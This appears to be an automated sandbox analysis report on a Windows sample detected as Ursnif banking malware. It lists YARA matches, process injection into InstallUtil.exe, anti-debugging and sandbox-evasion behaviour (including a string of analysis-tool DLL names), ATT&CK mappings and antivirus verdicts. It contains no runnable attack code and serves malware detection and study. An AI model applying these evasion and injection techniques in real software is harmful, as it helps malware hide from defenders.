Source: global traffic	HTTP traffic detected: GET /de-ch/ HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Connection: Keep-AliveCache-Control: no-cacheHost: www.msn.comCookie: PreferencesMsn=eyJIb21lUGFnZSI6eyJTdHJpcGVzIjpbXSwiTWVTdHJpcGVNb2R1bGVzIjpbXSwiTWFya2V0Q29uZmlndXJhdGlvbiI6eyJNYXJrZXQiOiJkZS1jaCIsIlN1cHByZXNzUHJvbXB0IjpmYWxzZSwiUHJlZmVycmVkTGFuZ3VhZ2VDb2RlIjoiZGUtZGUiLCJDb3VudHJ5Q29kZSI6IkNIIn19LCJFeHBpcnlUaW1lIjo2MzgyMDA5NjkwMDQ5NzI5NzksIlZlcnNpb24iOjF90; marketPref=de-ch

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected Ursnif

Source: Yara match	File source: 0000000A.00000003.504942023.00000000020C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.501961576.00000000020C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.502032730.00000000020C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.535140555.00000000020C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.501571456.00000000020C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.501753987.00000000020C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.501977722.00000000020C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.501825234.00000000020C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.501701977.00000000020C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.501914236.00000000020C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 5584, type: MEMORYSTR
Source: Yara match	File source: 10.2.InstallUtil.exe.1b694a0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.InstallUtil.exe.1340000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.InstallUtil.exe.1b694a0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.535054926.0000000001B69000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

E-Banking Fraud

Yara detected Ursnif

Source: Yara match	File source: 0000000A.00000003.504942023.00000000020C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.501961576.00000000020C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.502032730.00000000020C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.535140555.00000000020C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.501571456.00000000020C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.501753987.00000000020C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.501977722.00000000020C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.501825234.00000000020C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.501701977.00000000020C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.501914236.00000000020C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 5584, type: MEMORYSTR
Source: Yara match	File source: 10.2.InstallUtil.exe.1b694a0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.InstallUtil.exe.1340000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.InstallUtil.exe.1b694a0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.535054926.0000000001B69000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

System Summary

Writes or reads registry keys via WMI

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetStringValue
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue

Writes registry values via WMI

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue

Source: OojqjHGE0W.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: C:\Users\user\Desktop\OojqjHGE0W.exe	Code function: String function: 00B38510 appears 105 times
Source: C:\Users\user\Desktop\OojqjHGE0W.exe	Code function: String function: 00B381D0 appears 77 times

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 10_2_004015C0 NtQuerySystemInformation,Sleep,GetLongPathNameW,GetLongPathNameW,GetLongPathNameW,CreateThread,GetLastError,QueueUserAPC,CloseHandle,GetLastError,TerminateThread,CloseHandle,SetLastError,WaitForSingleObject,GetExitCodeThread,CloseHandle,GetLastError,GetLastError,	10_2_004015C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 10_2_0040188D GetProcAddress,NtCreateSection,memset,	10_2_0040188D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 10_2_004013B7 NtMapViewOfSection,	10_2_004013B7

Source: OojqjHGE0W.exe

Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: OojqjHGE0W.exe

Static PE information: invalid certificate

Source: OojqjHGE0W.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: OojqjHGE0W.exe

ReversingLabs: Detection: 46%

Source: OojqjHGE0W.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\OojqjHGE0W.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\OojqjHGE0W.exe "C:\Users\user\Desktop\OojqjHGE0W.exe"
Source: C:\Users\user\Desktop\OojqjHGE0W.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Source: C:\Users\user\Desktop\OojqjHGE0W.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Jump to behavior

Source: C:\Users\user\Desktop\OojqjHGE0W.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: classification engine

Classification label: mal100.troj.evad.winEXE@3/0@2/1

Source: C:\Users\user\Desktop\OojqjHGE0W.exe

Code function: 0_2_00B28340 StartServiceA,StrokePath,SetCurrentDirectoryA,CreateActCtxW,CloseHandle,GetTapeStatus,SetCurrentDirectoryA,

0_2_00B28340

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: OojqjHGE0W.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: OojqjHGE0W.exe

Static file information: File size 1241656 > 1048576

Source: OojqjHGE0W.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x111a00

Source: OojqjHGE0W.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: OojqjHGE0W.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: OojqjHGE0W.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: OojqjHGE0W.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: OojqjHGE0W.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: OojqjHGE0W.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: OojqjHGE0W.exe

Static PE information: TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source: OojqjHGE0W.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\Wotagebe poqu viquowe\Hosayem\Cajap\Viseti.pdb source: OojqjHGE0W.exe
Source:	Binary string: C:\Wotagebe poqu viquowe\Hosayem\Cajap\Viseti.pdbP; source: OojqjHGE0W.exe, 00000000.00000000.267737292.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, OojqjHGE0W.exe, 00000000.00000002.478000343.0000000000B21000.00000020.00000001.01000000.00000003.sdmp
Source:	Binary string: C:\Wotagebe poqu viquowe\Hosayem\Cajap\Viseti.pdbP;Q source: OojqjHGE0W.exe

Source: C:\Users\user\Desktop\OojqjHGE0W.exe	Code function: 0_2_00B28AC2 push ebp; iretd	0_2_00B28AD6
Source: C:\Users\user\Desktop\OojqjHGE0W.exe	Code function: 0_2_00B28A6D push es; iretd	0_2_00B28A86
Source: C:\Users\user\Desktop\OojqjHGE0W.exe	Code function: 0_2_00B28B2A push ebp; iretd	0_2_00B28AD6

Source: C:\Users\user\Desktop\OojqjHGE0W.exe

Code function: 0_2_00B3A3D0 LoadLibraryW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

0_2_00B3A3D0

Source: initial sample

Static PE information: section name: .text entropy: 7.57139474025

Source: C:\Users\user\Desktop\OojqjHGE0W.exe

Code function: 0_2_00B28340 StartServiceA,StrokePath,SetCurrentDirectoryA,CreateActCtxW,CloseHandle,GetTapeStatus,SetCurrentDirectoryA,

0_2_00B28340

Hooking and other Techniques for Hiding and Protection

Yara detected Ursnif

Source: Yara match	File source: 0000000A.00000003.504942023.00000000020C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.501961576.00000000020C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.502032730.00000000020C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.535140555.00000000020C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.501571456.00000000020C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.501753987.00000000020C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.501977722.00000000020C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.501825234.00000000020C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.501701977.00000000020C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.501914236.00000000020C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 5584, type: MEMORYSTR
Source: Yara match	File source: 10.2.InstallUtil.exe.1b694a0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.InstallUtil.exe.1340000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.InstallUtil.exe.1b694a0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.535054926.0000000001B69000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: OojqjHGE0W.exe, 00000000.00000002.477711873.00000000006FA000.00000004.00000010.00020000.00000000.sdmp

Binary or memory string: ODBGHELP.DLLPSTOREC.DLLDIR_WATCH.DLLAPI_LOG.DLLCMDVRT64.DLLCMDVRT32.DLLSBIEDLL.DLLBGAGENT.DLLH

Found evasive API chain (may stop execution after checking system information)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Evasive API call chain: NtQuerySystemInformation,DecisionNodes,Sleep

graph_10-477

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5664

Thread sleep count: 48 > 30

Jump to behavior

Source: C:\Users\user\Desktop\OojqjHGE0W.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

graph_0-8131

Source: C:\Users\user\Desktop\OojqjHGE0W.exe

API coverage: 7.5 %

Source: C:\Users\user\Desktop\OojqjHGE0W.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\OojqjHGE0W.exe	API call chain: ExitProcess graph end node			graph_0-8132
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	API call chain: ExitProcess graph end node			graph_10-470

Anti Debugging

Found API chain indicative of debugger detection

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Debugger detection routine: NtQueryInformationProcess or NtQuerySystemInformation, DecisionNodes, ExitProcess or Sleep

graph_10-477

Source: C:\Users\user\Desktop\OojqjHGE0W.exe

Code function: 0_2_00B3A1A0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_00B3A1A0

Source: C:\Users\user\Desktop\OojqjHGE0W.exe

0_2_00B3A3D0

Source: C:\Users\user\Desktop\OojqjHGE0W.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Users\user\Desktop\OojqjHGE0W.exe	Code function: 0_2_00B3A1A0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00B3A1A0
Source: C:\Users\user\Desktop\OojqjHGE0W.exe	Code function: 0_2_00B322D0 SetUnhandledExceptionFilter,	0_2_00B322D0
Source: C:\Users\user\Desktop\OojqjHGE0W.exe	Code function: 0_2_00B38260 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00B38260

HIPS / PFW / Operating System Protection Evasion

Writes to foreign memory regions

Source: C:\Users\user\Desktop\OojqjHGE0W.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000			Jump to behavior
Source: C:\Users\user\Desktop\OojqjHGE0W.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: F21008			Jump to behavior

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\OojqjHGE0W.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 protect: page read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\OojqjHGE0W.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Users\user\Desktop\OojqjHGE0W.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\OojqjHGE0W.exe

Code function: 0_2_00B322F0 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_00B322F0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Code function: 10_2_00401400 CreateEventA,GetVersion,GetCurrentProcessId,OpenProcess,GetLastError,

10_2_00401400

Stealing of Sensitive Information

Yara detected Ursnif

Source: Yara match	File source: 0000000A.00000003.504942023.00000000020C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.501961576.00000000020C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.502032730.00000000020C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.535140555.00000000020C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.501571456.00000000020C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.501753987.00000000020C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.501977722.00000000020C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.501825234.00000000020C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.501701977.00000000020C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.501914236.00000000020C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 5584, type: MEMORYSTR
Source: Yara match	File source: 10.2.InstallUtil.exe.1b694a0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.InstallUtil.exe.1340000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.InstallUtil.exe.1b694a0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.535054926.0000000001B69000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Ursnif

Source: Yara match	File source: 0000000A.00000003.504942023.00000000020C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.501961576.00000000020C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.502032730.00000000020C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.535140555.00000000020C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.501571456.00000000020C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.501753987.00000000020C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.501977722.00000000020C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.501825234.00000000020C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.501701977.00000000020C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.501914236.00000000020C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 5584, type: MEMORYSTR
Source: Yara match	File source: 10.2.InstallUtil.exe.1b694a0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.InstallUtil.exe.1340000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.InstallUtil.exe.1b694a0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.535054926.0000000001B69000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	2 Windows Management Instrumentation	1 Windows Service	1 Windows Service	12 Virtualization/Sandbox Evasion	OS Credential Dumping	1 System Time Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	1 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	2 Service Execution	Boot or Logon Initialization Scripts	311 Process Injection	311 Process Injection	LSASS Memory	22 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	2 Non-Application Layer Protocol	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	12 Native API	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	12 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	12 Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	3 Obfuscated Files or Information	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	3 Software Packing	LSA Secrets	1 Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	14 System Information Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
OojqjHGE0W.exe	46%	ReversingLabs	Win32.Trojan.Jaik
OojqjHGE0W.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Download
10.2.InstallUtil.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen7	Download File
0.2.OojqjHGE0W.exe.8b5230.0.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
10.0.InstallUtil.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen7	Download File
10.2.InstallUtil.exe.1340000.1.unpack	100%	Avira	HEUR/AGEN.1245293	Download File
10.0.InstallUtil.exe.400000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen7	Download File
0.3.OojqjHGE0W.exe.2580000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen7	Download File
0.3.OojqjHGE0W.exe.8b5230.2.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
0.3.OojqjHGE0W.exe.2580000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen7	Download File

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://mem.gfx.ms/meversion/?partner=msn&market=de-ch"	0%	URL Reputation	safe
https://i.geistm.com/l/HFCH_DTS_LP?bcid=61c4707a19d27603f32a58ba&bhid=6203eb0e7db0ad17f44b22d8&a	0%	Avira URL Cloud	safe
https://cdn.hoergeraete.hoeren-heute.ch/horizon_reveal/?act=ACT0000040013ACT&utm_source=mcrs&amp	0%	Avira URL Cloud	safe
https://deff.nelreports.net/api/report?cat=msn	0%	URL Reputation	safe
https://i.geistm.com/l/HFCH_DTS_LP?bcid=61c4707a19d27603f32a58b8&bhid=62470ee6adad76040858398f&a	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
a-0003.fbs2-a-msedge.net	13.107.40.203	true	false	unknown
anm.msn.com	unknown	unknown	false	high
www.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.msn.com/de-ch/	false		high
http://www.msn.com/	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://mem.gfx.ms/meversion/?partner=msn&market=de-ch"	InstallUtil.exe, 0000000A.00000003.504725612.0000000004301000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/de-ch/news/other/weniger-verbindungen-zwischen-z%c3%bcrich-und-bern-daf%c3%bcr-m	InstallUtil.exe, 0000000A.00000002.535230526.0000000004300000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535290243.0000000004396000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000003.504725612.0000000004301000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535347560.0000000004400000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000003.504892855.0000000002049000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.msn.com/de-ch/news/other/fremdes-b%c3%bcsi-gef%c3%bcttert-frau-soll-1250-franken-strafe-	InstallUtil.exe, 0000000A.00000002.535230526.0000000004300000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535290243.0000000004396000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000003.504725612.0000000004301000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535347560.0000000004400000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000003.504892855.0000000002049000.00000004.00000020.00020000.00000000.sdmp	false		high
https://outlook.com/	InstallUtil.exe, 0000000A.00000002.535230526.0000000004300000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535290243.0000000004396000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000003.504725612.0000000004301000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535347560.0000000004400000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000003.504892855.0000000002049000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.msn.com/de-ch/shopping	InstallUtil.exe, 0000000A.00000002.535230526.0000000004300000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535290243.0000000004396000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535347560.0000000004400000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000003.504892855.0000000002049000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ogp.me/ns#	InstallUtil.exe, 0000000A.00000002.535230526.0000000004300000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535290243.0000000004396000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000003.504725612.0000000004301000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535347560.0000000004400000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000003.504892855.0000000002049000.00000004.00000020.00020000.00000000.sdmp	false		high
https://i.geistm.com/l/HFCH_DTS_LP?bcid=61c4707a19d27603f32a58ba&bhid=6203eb0e7db0ad17f44b22d8&a	InstallUtil.exe, 0000000A.00000003.504892855.0000000002049000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
